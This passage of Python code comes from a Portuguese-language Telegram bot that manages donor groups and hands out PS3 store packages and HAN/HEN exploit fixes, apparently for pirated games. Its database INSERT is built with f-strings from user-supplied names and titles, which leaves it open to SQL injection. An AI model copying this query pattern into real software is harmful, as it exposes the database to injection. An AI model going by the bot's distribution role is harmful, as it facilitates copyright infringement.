msg.get('new_chat_member'): chat_title = msg['chat']['title'] chat_id = msg['chat']['id'] first_name = msg['new_chat_member']['first_name'] user_id = msg['new_chat_member']['id'] if msg['new_chat_member']['id'] == bot_id: pass else: #daqui para baixo e codigo novo meu-------------------------------------------------->>>>>>>>>>>>>> ############SISTEMA DE CADASTRO DOS USUARIOS AUTOMATICAMENTE NO BANCO DE DADOS PARA BANIMENTO------ ############SISTEMA DE CADASTRO DOS USUARIOS AUTOMATICAMENTE NO BANCO DE DADOS PARA BANIMENTO------ ############SISTEMA DE CADASTRO DOS USUARIOS AUTOMATICAMENTE NO BANCO DE DADOS PARA BANIMENTO------ try: doador = f"@{msg['new_chat_member']['username']}" except: doador = f"@{msg['new_chat_member']['id']} ({msg['new_chat_member']['first_name']})" try: conexao_sqlite = sqlite3.connect('bot_files/bot_database.db') conexao_sqlite.row_factory = sqlite3.Row cursor_sqlite = conexao_sqlite.cursor() cursor_sqlite.execute("""SELECT * FROM banimento; """) resultados = cursor_sqlite.fetchall() chat_id = msg['chat']['id'] for info in resultados: if chat_id == int(info['id_grupo']) and int(info['valor']) == 1: #cadastra os usuarios de forma automatica daqui para baixo: conexao_sqlite = sqlite3.connect('bot_files/bot_database.db') conexao_sqlite.row_factory = sqlite3.Row cursor_sqlite = conexao_sqlite.cursor() chat_id = msg['chat']['id'] print(f"Novo usuário: {doador} entrou no Grupo {msg['chat']['title']}") id_doador = msg['new_chat_member']['id'] admin = 'cadastro automatico' dias = 35 #QUANTIDADE DE DIAS SETADA MANUALMENTE, POR ISTO COMO COMANDO NA DATABASE hoje = datetime.now().strftime('%d/%m/%Y %H:%M:%S') data_inicial = hoje dias_restantes = datetime.now() + relativedelta(days=int(dias))#-------------------------------- data_final = dias_restantes.strftime('%d/%m/%Y %H:%M:%S') data_avisar = dias_restantes - relativedelta(days=int(7))#------------------------------------- data_aviso = data_avisar.strftime('%d/%m/%Y %H:%M:%S') #verifica se existe cadastro: cursor_sqlite.execute("""SELECT * FROM permanencia; """) resultados = cursor_sqlite.fetchall() existe_cadastro = 0 # contador para verificar se o comando ja existe for res in resultados: # loop em todos resultados da Database if res['id_doador'] == str(id_doador): existe_cadastro = 1 # troca o valor de existe_cadastro para 1 if existe_cadastro == 1: await bot.sendMessage(chat_id, "🤖 `Usuário ja cadastrado, apague ele manualmente e insira os dados novamente`", 'markdown') else: await bot.sendMessage(chat_id, f"""🤖 Dados inseridos com exito no cadastro de permanência do grupo. 👮Admin: {admin} 🧑Usuário: {doador} ⚠️Id_Usuário: {id_doador} 🕐Início: {data_inicial} 🕐Termino: {data_final} 🚨Aviso Vencimento: {data_aviso} 📅Permanência: {dias}""") cursor_sqlite.execute(f"""INSERT INTO permanencia(int_id,grupo,id_grupo, admin, doador, id_doador, dias, data_inicial, data_final,data_aviso)VALUES(null,'{msg['chat']['title']}','{msg['chat']['id']}','{admin}','{doador}','{id_doador}','{dias}','{data_inicial}','{data_final}','{data_aviso}')""") conexao_sqlite.commit() #print(admin, doador, id_doador, dias, data_inicial, data_final) try:#PEGA A FOTO DO USUARIO E ENVIA NO Grupo a = await bot.getUserProfilePhotos(msg['new_chat_member']['id']) b = a['photos'][0][0]['file_id'] await bot.sendPhoto(chat_id,b) except Exception as e: pass except Exception as e: await bot.sendMessage(chat_id,f"🤖 `Ocorreu um erro ao inserir os dados na Database.Envie novamente o comando manualmente conforme exemplo:` ```restringir @usuario id_usuario dias``` ***Exemplo:*** restringir @xbadcoffee 1367451130 30 ",'markdown') ###########FIM DO SISTEMA DE BANIMENTO--------------------------------------------------------------------------- #ACIMA TUDO CODIGO MEU-------------------------> welcome = get_welcome(chat_id) if welcome[1]: if welcome[0] is not None: welcome = welcome[0].replace('$name', escape_markdown(first_name)).replace('$title', escape_markdown( chat_title)).replace( '$id', str(user_id)) else: welcome = 'Olá {}, seja bem-vindo(a) ao {}!'.format(first_name, escape_markdown(chat_title)) if '$rules' in welcome: welcome = welcome.replace('$rules', '') rules_markup = InlineKeyboardMarkup(inline_keyboard=[[dict(text='Leia as regras',url='http://tcxsproject.com.br/doadores-tcxs-store-regras/')]]) kb = InlineKeyboardMarkup(inline_keyboard=[ [dict(text='📦 Store Free', callback_data='store_free')] + [dict(text="📦 Store Doadores", callback_data='store_doadores')], [dict(text='🦸 Usuários', callback_data='comandos_usuarios')] + [dict(text="🤖‍ Admin's", callback_data='comandos_admins')], [dict(text='🧰 Ferramentas', callback_data='ferramentas_gerais')] + [dict(text='📣 Info | Extras', callback_data='infos_extras')], ]) await bot.sendMessage(msg['chat']['id'], f"***{first_name} Aqui está uma lista com todos meus comandos e informações que você precisa saber.***", 'markdown', reply_markup=kb) # return True # PEGA OS DADOS DO keyboard.py ----------------------: elif msg.get('data') and msg.get('message'): if msg[ 'data'] == 'inicio_menu': # precisa de dois menus para voltar para o inicio criando um loop entre os dois-----> kb = InlineKeyboardMarkup(inline_keyboard=[ [dict(text='📦 Store Free', callback_data='store_free')] + [dict(text="📦 Store Doadores", callback_data='store_doadores')], [dict(text='🦸 Usuários', callback_data='comandos_usuarios')] + [dict(text="🤖‍ Admin's", callback_data='comandos_admins')], [dict(text='🧰 Ferramentas', callback_data='ferramentas_gerais')] + [dict(text='📣 Info | Extras', callback_data='infos_extras')], ]) await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"***{msg['from']['first_name']} Aqui está uma lista com todos meus comandos e informações que você precisa saber.***", 'markdown', reply_markup=kb) # return True # TCXS STORE FREE PKG -------------------------------------------------------------------------------------------------------------------------> elif msg['data'] == 'store_free': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ Espero que tenha um pendrive em mãos e saiba usar a\n loja, não daremos suporte para USUARIOS GRATUITOS, agora copie os arquivos abaixo para a raiz de um pendrive e coloque na USB direita do seu console, caso use HAN instale o FIX, caso use HEN apenas instale a loja!```", 'markdown', reply_markup=keyboard.store_free) # return True # entrega da loja free: elif msg['data'].split()[0] == 'download_store_free': cursor_sqlite.execute("""SELECT * FROM loja_free""") resultados = cursor_sqlite.fetchall() if resultados == []: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🤖 ***Bot diz:*** `não tenho lojas cadastradas, insira o banco de dados com dados ou cadastre um PKG enviando ela no meu privado com nome inicinando com TCXS, exexmplo:` ***TCXS_Store_3.9.pkg***", 'markdown', reply_markup=keyboard.voltar_store_doadores) else: for resultado in resultados: id_pkg = resultado['pkg'] nome_pkg = resultado['versao'] data_att = resultado['data'] uploader_id = resultado['uploader'] await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `INSTRUÇÕES:` ```------ Abaixo temos a ultima atualização da TCXS Store para PlayStation3, baixe e insira no pendrive, plugue o pendrive em seu console, ative o Hen e instale ela pelo Package Manager.\nCaso seja usuário de HAN será necessário usar o Fix,baixe ele, depois basta inserir o Fix e a Loja em seu pendrive e através do seu Han instalar ambos arquivos, ambos processos concluidos reinicie seu console!```", 'markdown', reply_markup=keyboard.voltar_store_free) await bot.sendDocument(msg['message']['chat']['id'], document=id_pkg, caption=f'{nome_pkg} upada em {data_att} por @{uploader_id}') # entrega do fix elif msg['data'].split()[0] == 'download_fix': cursor_sqlite.execute("""SELECT * FROM fix_han""") resultados = cursor_sqlite.fetchall() if resultados == []: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🤖 ***Bot diz:*** `não tenho o fix han, insira o banco de dados com dados ou cadastre um PKG enviando ele no meu privado com nome de:` ***FIX_HAN.pkg***", 'markdown', reply_markup=keyboard.voltar_store_free) else: for resultado in resultados: nome_pkg = resultado['versao'] data_att = resultado['data'] id_pkg = resultado['pkg'] uploader_id = resultado['uploader'] await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `INSTRUÇÕES:` ```------ Abaixo temos o Fix da TCXS Store para PlayStation3, baixe e insira no pendrive, plugue o pendrive em seu console com o Fix e a Loja, através do seu Han instalar ambos arquivos, ambos processos concluidos reinicie seu console!```", 'markdown', reply_markup=keyboard.voltar_store_free) await bot.sendDocument(msg['message']['chat']['id'], document=id_pkg, caption='Fix para usuários HAN') elif msg['data'].split()[0] == 'tutorial_segundo_plano': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Abaixo temos o Tutorial TCXS Store ensinando como fazer os Downloads em Segundo Plano em seu PlayStation3!```", 'markdown', reply_markup=keyboard.voltar_store_free) await bot.sendMessage(msg['message']['chat']['id'], 'https://youtu.be/_21a5REKhBc') # return True elif msg['data'].split()[0] == 'fone_bluetooth': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Sabia que você pode usar seu fone bluetooth para jogos em seu PlayStation3?```", 'markdown', reply_markup=keyboard.voltar_store_free) await bot.sendMessage(msg['message']['chat']['id'], 'https://www.youtube.com/watch?v=_wYG7iMa5uY') # return True elif msg['data'].split()[0] == 'proxy_usuarios': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Siga nosso tutorial de proxy para melhorar sua conexão e evitar banimento do seu PlayStation3!```", 'markdown', reply_markup=keyboard.voltar_store_free) await bot.sendMessage(msg['message']['chat']['id'], 'https://youtu.be/l4o8ySk1Do4') # return True # TCXS STORE PKG DOADORES | PAYD-------------------> elif msg['data'] == 'store_doadores': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ Leia atentamente como adquirir acesso a Loja para Doadores, caso discorde basta não doar. Caso queira doar agora ou renovar sua entrada no grupo de doadores clique em Doar Agora, você será redirecionado para o Mercado Pago da TCXS Project. Não prestamos reembolsos e após doar basta enviar um comprovante no privado dos administradores.```\n`Pra ver os administradores digite:` /admin", 'markdown', reply_markup=keyboard.store_doadores) # return True elif msg['data'] == 'como_participar': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ Para participar você precisa fazer uma doação, pagamos mensalmente Dropbox de 5tb para armazenamento dos jogos e o valor é cobrado em dolar, a doação é mensal e doando você não esta comprando um produto, mas sim participando de uma vaquinha, todo dinheiro arrecadado fica retido na conta do Mercado Pago para pagarmos o servidor, resumindo contribuindo você faz parte de uma vaquinha de doadores que mantem o servidor, nós da TCXS Project não temos lucro e nosso trabalho é voluntário, caso queira ajudar em algo e se juntar a equipe é bem vindo. Leia atentamente esta documentação e caso discorde de algo pedimos que não doe, não prestamos reembolsos.```\n`Pra ver os administradores digite:` /admin", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendMessage(msg['message']['chat']['id'], 'http://tcxsproject.com.br/doadores-tcxs-store-regras/') elif msg['data'] == 'mercado_pago': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ Vejo que tem interesse em ser doador, usamos o sistema do Mercado Pago somente, favor nao insistir com outras formas.\nO Mercado Pago aceita pagamentos online e com cartão de crédito e boletos, este sistema é o mais seguro para nos da equipe e para vocês doadores, lembre que a doação é mensal e doando você faz parte da vaquina que mantem os servidores de 5tb da Dropbox onde encontram-se nossos jogos. Pedimos que antes de doar leia atentamente as regras como mencionado antes e após fazer sua doação envie o comprovante no privado de um de nossos administradores.```\n`Pra ver os administradores digite:` /admin", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendMessage(msg['message']['chat']['id'], 'https://www.mercadopago.com.br/checkout/v1/redirect?pref_id=354396246-315fce8c-d8f9-4aa0-8583-95d678936375') ## ATUALIZAÇÃO PARA DOADORES ATRAVÉS DO SISTEMA DE BOTÕES------------------------------------------------------------------------------>> # LOJA PAGA PARA DOADORES COM DATABASE E BOTOES------------> elif msg['data'].split()[0] == 'download_store_doadores': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `INSTRUÇÕES:` ```------ Bem vindo a TCXS Project ,agora você faz parte dela, entenda que as doações sao mensais e nossa equipe nao ganha nada por este projeto, todo dinheiro arrecadado neste grupo é para pagar os servidores dos quais dispomos jogos. Logo a PSN STUFF IRÁ ACABAR POIS OS SERVIDORES SERÃO DESLIGADOS e assim nao terá mais os jogos gratuitos por ai, restando apenas este acervo que é mantido por voces doadores! Vamos a Instalação!!! --> Espero que tenha um pendrive em mãos! --> copie os arquivos da VERSÃO 3.6 e caso use o fix de acordo com seu Exploit/Desbloqueio, se voce tem han ou CFW use o FIX HAN, caso contrário e seja o Exploit HEN em seu console use o FIX HEN, é necessaria a instalacao deste arquivo para que a loja apareca em seu console! Ative seu HAN/HEN e instale o FIX, após o FIX instalado instale a TCXS Store PKG, recomendamos reiniciar o console após este processo!!```", 'markdown', reply_markup=keyboard.voltar_store_doadores) if msg['message']['chat']['title'] == 'Doadores TCXS 2020': cursor_sqlite.execute("""SELECT * FROM loja_doadores""") resultados = cursor_sqlite.fetchall() if resultados == []: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🤖 ***Bot diz:*** `não tenho lojas cadastradas, insira o banco de dados com dados ou cadastre um PKG enviando ela no meu privado com nome inicinando com TCXS, exexmplo:` ***TCXS_Store_3.9.pkg***", 'markdown', reply_markup=keyboard.voltar_store_doadores) else: for resultado in resultados: id_pkg = resultado['pkg'] nome_pkg = resultado['versao'] data_att = resultado['data'] uploader_id = resultado['uploader'] await bot.sendDocument(msg['message']['chat']['id'], document=id_pkg, caption=f'{nome_pkg} upada em {data_att} por @{uploader_id}') else: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Este comando só funciona no grupo de doadores.```", 'markdown', reply_markup=keyboard.voltar_store_doadores) # return True # FIX HAN PARA DOADORES COM DATABASE E BOTOES------------> elif msg['data'].split()[0] == 'download_fix_han_doadores': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `INSTRUÇÕES:` ```------ Abaixo temos o Fix da TCXS Store para PlayStation3, baixe e insira no pendrive, plugue o pendrive em seu console com o Fix e a Loja, ambos processos concluidos reinicie seu console!```", 'markdown', reply_markup=keyboard.voltar_store_doadores) if msg['message']['chat']['title'] == 'Doadores TCXS 2020': cursor_sqlite.execute("""SELECT * FROM fix_han""") resultados = cursor_sqlite.fetchall() if resultados == []: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🤖 ***Bot diz:*** `não tenho o fix han, insira o banco de dados com dados ou cadastre um PKG enviando ele no meu privado com nome de:` ***FIX_HAN.pkg***", 'markdown', reply_markup=keyboard.voltar_store_doadores) else: for resultado in resultados: nome_pkg = resultado['versao'] data_att = resultado['data'] id_pkg = resultado['pkg'] uploader_id = resultado['uploader'] await bot.editMessageText( (msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Veja o tutorial INSTALAÇÃO EXPLOIT HAN E HEN! no menu abaixo ```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendDocument(msg['message']['chat']['id'], document=id_pkg, caption='Fix para usuários HAN') else: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Este comando só funciona no grupo de doadores.```", 'markdown', reply_markup=keyboard.voltar_store_doadores) # return True # FIX HEN PARA DOADORES COM DATABASE E BOTOES------------> elif msg['data'].split()[0] == 'download_fix_hen_doadores': if msg['message']['chat']['title'] == 'Doadores TCXS 2020': cursor_sqlite.execute("""SELECT * FROM fix_hen""") resultados = cursor_sqlite.fetchall() if resultados == []: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🤖 ***Bot diz:*** `não tenho o fix hen, insira o banco de dados com dados ou cadastre um PKG enviando ele no meu privado com nome de:` ***FIX_HEN.pkg***", 'markdown', reply_markup=keyboard.voltar_store_doadores) else: for resultado in resultados: id_pkg = resultado['pkg'] await bot.editMessageText( (msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Veja o tutorial INSTALAÇÃO EXPLOIT HAN E HEN! no menu abaixo ```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendDocument(msg['message']['chat']['id'], document=id_pkg, caption='Fix para usuários HEN') else: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Este comando só funciona no grupo de doadores.```", 'markdown', reply_markup=keyboard.voltar_store_doadores) # return True # FIX CFW XML DOADORES COM DATABASE E BOTOES------------> elif msg['data'].split()[0] == 'download_fix_cfw_doadores': if msg['message']['chat']['title'] == 'Doadores TCXS 2020': cursor_sqlite.execute("""SELECT * FROM fix_cfw_xml""") resultados = cursor_sqlite.fetchall() if resultados == []: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🤖 ***Bot diz:*** `não tenho o fix cfw xml, insira o banco de dados com dados ou cadastre um PKG enviando ele no meu privado com nome de:` ***category_network_tool2.xml***", 'markdown', reply_markup=keyboard.voltar_store_doadores) else: for resultado in resultados: id_pkg = resultado['pkg'] await bot.editMessageText( (msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Veja o tutorial INSTALAÇÃO EM CONSOLES CFW no menu abaixo ```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendDocument(msg['message']['chat']['id'], document=id_pkg, caption='Fix para usuários CFW') else: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Este comando só funciona no grupo de doadores.```", 'markdown', reply_markup=keyboard.voltar_store_doadores) # return True # FIX HEN XML PARA DOADORES COM DATABASE E BOTOES------------> elif msg['data'].split()[0] == 'download_fix_hen_xml_doadores': if msg['message']['chat']['title'] == 'Doadores TCXS 2020': cursor_sqlite.execute("""SELECT * FROM fix_hen_xml""") resultados = cursor_sqlite.fetchall() if resultados == []: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🤖 ***Bot diz:*** `não tenho o fix hen xml, insira o banco de dados com dados ou cadastre um PKG enviando ele no meu privado com nome de:` ***category_network.xml***", 'markdown', reply_markup=keyboard.voltar_store_doadores) else: for resultado in resultados: id_pkg = resultado['pkg'] await bot.editMessageText( (msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Veja o tutorial INSTALAÇÃO EM CONSOLES CFW no menu abaixo ```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendDocument(msg['message']['chat']['id'], document=id_pkg, caption='Fix XML para usuários HEN avançados') else: await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"🚨 `ATENÇÃO`🚨 ```------ Este comando só funciona no grupo de doadores.```", 'markdown', reply_markup=keyboard.voltar_store_doadores) # return True # ACIMA DISTO PARTE DA ATT QUE PRECISA DE DB | SEGUE CODIGOS DOS DOADORES E DA ATT PAGA---------------------> elif msg['data'].split()[0] == 'tutorial_loja': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Abaixo temos o Tutorial TCXS Store instalar a loja em seu PlayStation3!```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendMessage(msg['message']['chat']['id'], 'https://cos.tv/videos/play/1586413688272059934') # return True elif msg['data'].split()[0] == 'tutorial_cfw': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Abaixo temos o Tutorial TCXS Store ensinando como usar em consoles CFW PlayStation3!```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendMessage(msg['message']['chat']['id'], 'https://cos.tv/videos/play/1586411677524278797') # return True elif msg['data'].split()[0] == 'tutorial_segundo_plano_doadores': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Abaixo temos o Tutorial TCXS Store ensinando como fazer os Downloads em Segundo Plano em seu PlayStation3!```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendMessage(msg['message']['chat']['id'], 'https://youtu.be/_21a5REKhBc') # return True elif msg['data'].split()[0] == 'fone_bluetooth_doadores': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Sabia que você pode usar seu fone bluetooth para jogos em seu PlayStation3?```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendMessage(msg['message']['chat']['id'], 'https://www.youtube.com/watch?v=_wYG7iMa5uY') # return True elif msg['data'].split()[0] == 'proxy_usuarios_doadores': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"📦 `TUTORIAL:` ```------ Siga nosso tutorial de proxy para melhorar sua conexão e evitar banimento do seu PlayStation3!```", 'markdown', reply_markup=keyboard.voltar_store_doadores) await bot.sendMessage(msg['message']['chat']['id'], 'https://youtu.be/l4o8ySk1Do4') # return True # COMANDOS_USUARIOS -------------------------------------------------> elif msg[ 'data'] == 'comandos_usuarios': # esta tabela pela a reply_markup da primeira e le os dados do keyboard.py e oque respondido volta pra ca ou nao, para usar local "palavra" para usar la await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"***Comandos para usuários:***", 'markdown', reply_markup=keyboard.comandos_usuarios) # return True elif msg['data'] == 'comandos_users': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"""/start -inicia o bot /regras -leia nossas regras /admin -admins do grupo /freepkg -loja gratuita PS3 /fix -fix han /tutorial -como instalar a loja /rap -licenças dos jogos /desbloqueio -desbloquear PS3 /segundoplano -download /codigoerro -codigos PSN/PS3 /listajogos -download direto /doadores -instruções /mercadopago -doar/loja /tcxs -informações sobre /tcxspyject -criar lojas /ps1 -cria xml para loja /ps2 -cria xml para loja /psp -cria xml para loja /ps3 -cria xml para loja /proxy -velocidade no PS3 """, 'markdown', reply_markup=keyboard.voltar_comandos_usuarios) # return True elif msg['data'] == 'sites_users': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), "/torrent -pkg torrent\n/pkg_games -pkg's\n/site -doadores\n/facebook -facebook cadastre-se\n/anime -anime gratis\n/onion -deepweb\n/dev -hacker ", reply_markup=keyboard.voltar_comandos_usuarios) # return True elif msg['data'] == 'cria_xml_users': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """***Temos um programa de computador que cria lojas diretamente no console PlayStation3*** /tcxspyject -criar lojas ***Criar XML PSP Instruções:*** `comando:`/psp -cria xml para loja ``` 1 - meu comando sempre começa com /xml 2 - eu não aceito espaços no nome de arquivo, nome de jogo e nem na descrição! 3 - você pode copiar o caractere especial invisivel dentro das aspas abaixo para usar onde precisar de espaço!``` `Copie de dentro das aspas o caractere invisivel:`"⠀" **VAMOS AO COMANDO EM SI** `Exemplo com caractere invisivel:` ``` gow god⠀of⠀war descriçao⠀usando⠀caractere⠀invisivel www.linkdropbox.com``` `Exemplo sem caractere visivel:` ``` /psp gow god_of_war descrição_sem_caractere_visivel www.linkdropbox.com``` **Onde cada campo:** `/psp` ```- chama comando``` `gow` ```- nome do xml``` `god_of_war` ```- nome do jogo, se quiser tirar os _ usar caractere especial no lugar``` `descrição_do_jogo` ```- descrição, se quiser tirar os _ usar caractere especial no lugar``` `www.linkdropbox.com` ```- Link do Dropbox``` ***Criar XML PS1 Instruções:*** `comando:`/ps1 -cria xml para loja ``` 1 - meu comando sempre começa com /xml 2 - eu não aceito espaços no nome de arquivo, nome de jogo e nem na descrição! 3 - você pode copiar o caractere especial invisivel dentro das aspas abaixo para usar onde precisar de espaço!``` `Copie de dentro das aspas o caractere invisivel:`"⠀" **VAMOS AO COMANDO EM SI** `Exemplo com caractere invisivel:` ``` gow god⠀of⠀war descriçao⠀usando⠀caractere⠀invisivel www.linkdropbox.com``` `Exemplo sem caractere visivel:` ``` /ps1 gow god_of_war descrição_sem_caractere_visivel www.linkdropbox.com``` **Onde cada campo:** `/ps1` ```- chama comando``` `gow` ```- nome do xml``` `god_of_war` ```- nome do jogo, se quiser tirar os _ usar caractere especial no lugar``` `descrição_do_jogo` ```- descrição, se quiser tirar os _ usar caractere especial no lugar``` `www.linkdropbox.com` ```- Link do Dropbox``` ***Criar XML PS2 Instruções:*** `comando:`/ps2 -cria xml para loja ``` 1 - meu comando sempre começa com /xml 2 - eu não aceito espaços no nome de arquivo, nome de jogo e nem na descrição! 3 - você pode copiar o caractere especial invisivel dentro das aspas abaixo para usar onde precisar de espaço!``` `Copie de dentro das aspas o caractere invisivel:`"⠀" **VAMOS AO COMANDO EM SI** `Exemplo com caractere invisivel:` ``` gow god⠀of⠀war descriçao⠀usando⠀caractere⠀invisivel www.linkdropbox.com``` `Exemplo sem caractere visivel:` ``` /ps2 gow god_of_war descrição_sem_caractere_visivel www.linkdropbox.com``` **Onde cada campo:** `/ps2` ```- chama comando``` `gow` ```- nome do xml``` `god_of_war` ```- nome do jogo, se quiser tirar os _ usar caractere especial no lugar``` `descrição_do_jogo` ```- descrição, se quiser tirar os _ usar caractere especial no lugar``` `www.linkdropbox.com` ```- Link do Dropbox``` ***Criar XML PS3 Instruções:*** `comando:`/ps3 -cria xml para loja ``` 1 - meu comando sempre começa com /xml 2 - eu não aceito espaços no nome de arquivo, nome de jogo e nem na descrição! 3 - você pode copiar o caractere especial invisivel dentro das aspas abaixo para usar onde precisar de espaço! 4 - meu sistema para por jogos de PS3 aceitam apenas 3 links preciso deles como exemplos.``` `Copie de dentro das aspas o caractere invisivel:`"⠀" **VAMOS AO COMANDO EM SI** `Exemplo com caractere invisivel:` ``` gow god⠀of⠀war descriçao⠀usando⠀caractere⠀invisivel www.linkdropbox.com www.linkdropbox.com www.linkdropbox.com``` `Exemplo sem caractere visivel:` ``` /ps3 gow god_of_war descrição_sem_caractere_visivel www.linkdropbox.com www.linkdropbox.com www.linkdropbox.com``` **Onde cada campo:** `/ps3` ```- chama comando``` `gow` ```- nome do xml``` `god_of_war` ```- nome do jogo, se quiser tirar os _ usar caractere especial no lugar``` `descrição_do_jogo` ```- descrição, se quiser tirar os _ usar caractere especial no lugar``` `www.linkdropbox.com` ```- Link do Dropbox, preciso de 3 links separados por espaço``` /ps3 -cria xml para loja""", 'markdown', reply_markup=keyboard.voltar_comandos_usuarios) # return True # COMANDOS ADMINS---------------------------------------------------------------------------------------> # COMANDOS PARA OS BOTOES DOS ADMINISTRADORES elif msg['data'] == 'comandos_admins': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), f"```------ Os comandos aqui listados funcionam apenas para administradores de grupos e o menu Desenvolvedor somente quem hospeda pode usar. ```", 'markdown', reply_markup=keyboard.comandos_admins) # return True elif msg['data'] == 'gerenciar_grupos': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """/start - inicia o bot /welcome -boas vindas /ban -bane usuario /unban -desbane usuario /kick -kicka usuario /mute -muta usuario /unmute -desmuta usuario /unwarn -remove advertencias /warn -adverte usuario /pin -fixa posts /unpin -desfixa posts /title -muda titulo grupo /defregras -define regras /regras -ler regras /config -privado /admdebug -debug admin /id -id usuario /ip -dados ip /jsondump -retorna dados /stickerid -id sticker /getsticker -baixa sticker /criar_sticker -cria pacote stickers /kibar -copia sticker para o pacote de stickers /mark -repete o texto markdown /html -repete o texto HTML /request -requisição site /link - pega link de um arquivo use como resposta""", reply_markup=keyboard.voltar_comandos_admins) # return True elif msg['data'] == 'cadastrar_comandos': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***CADASTRO DE COMANDOS E REPOSTAS NA DATABASE*** 🤖`Para cadastrar um comando no banco de dados:` #comando resposta que o usuário vai receber 🤖`Para recadastrar um comando no banco de dados:` $comando resposta que o usuário vai receber 🤖`Para deletar um comando` %comando """, 'markdown', reply_markup=keyboard.voltar_comandos_admins) # return True elif msg['data'] == 'cadastrar_lojas': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***CADASTRAR ARQUIVOS LOJAS DOADORES/FREE*** ```Este bot cadastra as lojas para doadores e free, cadastra também os fix pkg e os fix xml, para atualizar as lojas ou fix pkg e xml basta enviar elas no privado do bot, e ele cadastrará seus arquivos desde que estejam de acordo com as instruções abaixo. Pode ocorrer falhas na hora de cadastrar️, caso não tenha cadastrado envie novamente o arquivo, jamais envie mais de um arquivo por vez.``` 🤖***Cadastrar Loja Free:*** `Cadastre a LOJA GRATUITA FREE PKG enviando ela no meu privado com nome terminando com free.pkg, antes disto você pode por qualquer coisa no nome no arquivo como exemplo:` ***TCXS_3.6_free.pkg*** 🤖***Cadastrar Loja Doadores:*** `Cadastre a LOJA PARA DOADORES PKG enviando ela no meu privado com nome inicinando com TCXS, após este nome você pode escrever oque quiser no arquivo como exemplo:` ***TCXS_Store3.9.pkg*** 🤖***Cadastrar Fix HAN PKG:*** `Cadastre o FIX HAN PKG enviando ela no meu privado exatamente conforme exemplo:` ***FIX_HAN.pkg*** 🤖***Cadastrar Fix HEN PKG:*** `Cadastre o FIX HEN PKG enviando ela no meu privado exatamente conforme exemplo:` ***FIX_HEN.pkg*** 🤖***Cadastrar Fix CFW XML:*** `Cadastre o FIX CFW XML enviando ela no meu privado exatamente conforme exemplo:` ***category_network_tool2.xml*** 🤖***Cadastrar Fix HEN XML:*** `Cadastre o FIX HEN XML enviando ela no meu privado exatamente conforme exemplo:` ***category_network.xml*** """, 'markdown', reply_markup=keyboard.voltar_comandos_admins) elif msg['data'] == 'restringir_doadores': await bot.editMessageText((msg['message']['chat']['id'], msg['message']['message_id']), """ 💾***RESTRINGIR | LIMPAR | RECADASTRAR DOADORES*** ```---- Este bot cadastra os Doadores automáticamente, porém se por ventura ele falhar ou mesmo um administrador quiser Cadastar Manualmente o Doador por qualquer eventualidade, seja para conferir um cadastro automatico feito pelo Bot ou para poder dar mais 